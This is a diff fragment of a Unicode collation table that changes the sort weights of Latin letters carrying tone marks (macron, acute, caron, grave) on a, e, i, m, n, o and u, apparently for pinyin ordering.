-0065 0302 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-0045 0302 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-1EC1      ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0      ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-00EA 0300 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00EA 0340 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00CA 0300 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00CA 0340 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00EA      ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EC5      ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4      ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3      ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2      ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC7      ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-012B      ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-012A      ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-00ED      ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-00CD      ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-01D0      ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-01CF      ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-00EC      ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-00CC      ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-006D 0304 ; [.1D25.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
-004D 0304 ; [.1D25.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
-1E3F      ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-1E3E      ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-006D 030C ; [.1D25.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
-004D 030C ; [.1D25.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
-006D 0300 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
-006D 0340 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
-004D 0300 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
-004D 0340 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
-006E 0304 ; [.1D34.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
-004E 0304 ; [.1D34.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
-0144      ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-0143      ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-0148      ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-0147      ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-01F9      ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-01F8      ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-014D      ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-014C      ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-00F3      ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-01D2      ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-01D1      ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-00F2      ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-00D2      ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-016B      ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-016A      ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-00FA      ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-00DA      ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-01D4      ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-01D3      ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-00F9      ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-00D9      ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-01D6      ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-00FC 0304 ; [.1E30.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
-00DC 0304 ; [.1E30.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
-01D8      ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-00FC 0301 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00FC 0341 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-00DC 0301 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00DC 0341 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-01DA      ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-00FC 030C ; [.1E30.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
-00DC 030C ; [.1E30.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
-01DC      ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-00FC 0300 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00FC 0340 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00DC 0300 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00DC 0340 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00FC      ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+0101      ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0100      ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+00E1      ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+01CE      ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+01CD      ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+00E0      ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+00C0      ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0113      ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0112      ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+00E9      ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+011B      ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+011A      ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+00E8      ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+00C8      ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+00EA 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+00CA 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+0065 0302 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+0045 0302 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+1EBF      ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE      ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+00EA 0301 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00EA 0341 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00CA 0301 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00CA 0341 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00EA 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+00CA 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+0065 0302 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+0045 0302 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+1EC1      ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0      ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+00EA 0300 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00EA 0340 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00CA 0300 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00CA 0340 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00EA      ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EC5      ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4      ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3      ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2      ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC7      ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+012B      ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+012A      ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+00ED      ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+00CD      ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+01D0      ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+01CF      ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+00EC      ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+00CC      ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+006D 0304 ; [.1DAA.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
+004D 0304 ; [.1DAA.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
+1E3F      ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+1E3E      ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+006D 030C ; [.1DAA.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
+004D 030C ; [.1DAA.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
+006D 0300 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
+006D 0340 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
+004D 0300 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
+004D 0340 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
+006E 0304 ; [.1DB9.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
+004E 0304 ; [.1DB9.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
+0144      ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143      ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+0148      ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+0147      ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+01F9      ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+01F8      ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+014D      ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+014C      ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+00F3      ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+01D2      ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+01D1      ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+00F2      ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+00D2      ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
